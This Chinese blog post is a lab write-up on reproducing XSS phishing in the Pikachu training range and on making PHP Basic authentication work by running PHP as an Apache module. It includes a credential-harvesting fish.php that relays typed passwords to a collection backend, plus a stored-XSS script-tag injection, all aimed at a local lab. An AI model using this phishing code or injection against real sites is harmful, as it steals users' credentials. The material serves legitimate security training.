首发于Freebuf - Pikachu靶场系列之XSS钓鱼攻击与PHP中的HTTP认证,转载需注明出处。
最近在Pikachu靶场中复现钓鱼攻击时,最后一步Basic
认证后数据无法发送到后台,而是一直重复弹出认证提示框。经过一番折腾后终于发现了原因并解决。
先贴出后台fish.php
代码
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}");
exit;
}
?>
这里可以看到,基本逻辑是判断_SERVER['PHP_AUTH_USER']或_SERVER['PHP_AUTH_PW']是否为空,若为空则弹窗认证框。但是发现无论怎么输入,都是一直循环弹认证框,猜测输入的内容没有传到这2个变量。于是我将var_dump(_SERVER)的注释移除,看看_SERVER变量里到底有哪些数据
array(44) {
["PATH"]=> string(726) "G:\XShell6\;...E:\Git\bin;"
["SYSTEMROOT"]=> string(10) "C:\WINDOWS"
["COMSPEC"]=> string(27) "C:\WINDOWS\system32\cmd.exe"
["PATHEXT"]=> string(53) ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC"
["WINDIR"]=> string(10) "C:\WINDOWS"
["PHP_FCGI_MAX_REQUESTS"]=> string(4) "1000"
["PHPRC"]=> string(31) "G:/phpStudy/php/php-7.0.12-nts/"
["_FCGI_SHUTDOWN_EVENT_"]=> string(4) "2312"
["SCRIPT_NAME"]=> string(29) "/pikachu/pkxss/xfish/fish.php"
["REQUEST_URI"]=> string(29) "/pikachu/pkxss/xfish/fish.php"
["QUERY_STRING"]=> string(0) ""
["REQUEST_METHOD"]=> string(3) "GET"
["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1"
["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1"
["REMOTE_PORT"]=> string(4) "1278"
["SCRIPT_FILENAME"]=> string(44) "G:/phpStudy/WWW/pikachu/pkxss/xfish/fish.php"
["SERVER_ADMIN"]=> string(18) "admin@phpStudy.net"
["CONTEXT_DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW"
["CONTEXT_PREFIX"]=> string(0) ""
["REQUEST_SCHEME"]=> string(4) "http"
["DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW"
["REMOTE_ADDR"]=> string(9) "127.0.0.1"
["SERVER_PORT"]=> string(2) "80"
["SERVER_ADDR"]=> string(9) "127.0.0.1"
["SERVER_NAME"]=> string(9) "127.0.0.1"
["SERVER_SOFTWARE"]=> string(52) "Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9"
["SERVER_SIGNATURE"]=> string(0) ""
["SystemRoot"]=> string(10) "C:\WINDOWS"
["HTTP_COOKIE"]=> string(36) "PHPSESSID=i8puesvk7tu2s13kokh88qgtu1"
["HTTP_ACCEPT_LANGUAGE"]=> string(14) "zh-CN,zh;q=0.9"
["HTTP_ACCEPT_ENCODING"]=> string(17) "gzip, deflate, br"
["HTTP_SEC_FETCH_MODE"]=> string(8) "navigate"
["HTTP_SEC_FETCH_SITE"]=> string(4) "none"
["HTTP_ACCEPT"]=> string(124) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
["HTTP_SEC_FETCH_USER"]=> string(2) "?1"
["HTTP_USER_AGENT"]=> string(115) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1"
["HTTP_CACHE_CONTROL"]=> string(9) "max-age=0"
["HTTP_CONNECTION"]=> string(5) "close"
["HTTP_HOST"]=> string(9) "127.0.0.1"
["FCGI_ROLE"]=> string(9) "RESPONDER"
["PHP_SELF"]=> string(29) "/pikachu/pkxss/xfish/fish.php"
["REQUEST_TIME_FLOAT"]=> float(1580478129.2173)
["REQUEST_TIME"]=> int(1580478129)
}
Authorization Required.
这里可以看到根本没有_SERVER['PHP_AUTH_USER']和_SERVER['PHP_AUTH_PW']这2个变量。经过搜索找到了原因:PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,因此该功能不适用于CGI版本。通过phpinfo()页面可以看到Server API为CGI/FastCGI。
所以现在可以知道,只需将PHP以模块模式运行即可使HTTP认证机制生效。而phpStudy默认是以CGI/FastCGI
模式运行,如果想以模块方式运行,则需要重新安装Apache。
VC14
或VC15
Apache24/conf/httpd.conf
文件,找到Define SRVROOT
,将/Apache24
修改为解压目录Define SRVROOT "G:\Apache24"
G:\Apache24\bin\httpd.exe -k install -n apache
bin
目录,运行ApacheMonitor.exe
。在托盘处左键点击Apache小图标,选择start
,然后访问localhost
测试httpd-2.4.41-o111c-x86-vc15-r2
,那么PHP请选择:php-7.x.x-Win32-vc15-x86.zip
httpd.conf
文件,在最后面增加配置# 此处修改为你的PHP目录
LoadModule php7_module G:/php/php7apache2_4.dll
PHPIniDir G:/php
AddType application/x-httpd-php .php
htdocs
目录新建一个test.php
,写入以下内容:<?php
phpinfo();
?>
http://localhost/test.php
,可以看到Server API
为Apache 2.0 Handler
php.ini-production
文件复制一份并重命名为php.ini
,然后打开extension = mysqli
,将前面;
去掉extension_dir = "ext"
,将前面;
去掉,并修改为PHP路径下的ext
extension_dir = "G:/php/ext"
Pikachu
靶场复制到htdocs
目录下,并开启MySQL。这里使用的是phpStudy环境,由于Apache已经另外安装并开启了,因此这里只需要单独启动MySQL即可http://127.0.0.1/pikachu/vul/xss/xss_stored.php
,插入恶意代码<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
http://127.0.0.1/pikachu/vul/xss/xss_stored.php
,弹框输入账号密码,输入后点击确定Apache
、PHP
以及VC15库
已打包放在文末sc delete apache
这里说明一下PHP的运行模式,共有4种:
Apache 2.0 Handler
模块模式:Apache+PHP运行时,默认使用的是模块模式,它把PHP作为Apache的模块随Apache启动而启动,PHP进程和Apache进程合一块。接收到用户请求时则直接通过调用mod_php
模块进行处理。 模块模式是以mod_php5
模块的形式集成,此时mod_php5
模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求,然后将处理后的结果返回给Apache。如果我们在Apache启动前在其配置文件中配置好了PHP模块(mod_php5
),PHP模块通过注册Apache2的ap_hook_post_config
挂钩,在Apache启动的时候启动此模块以接受PHP文件的请求php xx.php
就能执行PHP代码,命令行模式和常规web模式明显不一样有以下几点
STDIN
和STDOUT
标准输入/输出/错误的使用echo
、var_dump
、phpinfo
等输出直接输出到控制台php.ini
配置的不同相关文件:请前往博客共享网盘下载
参考文章: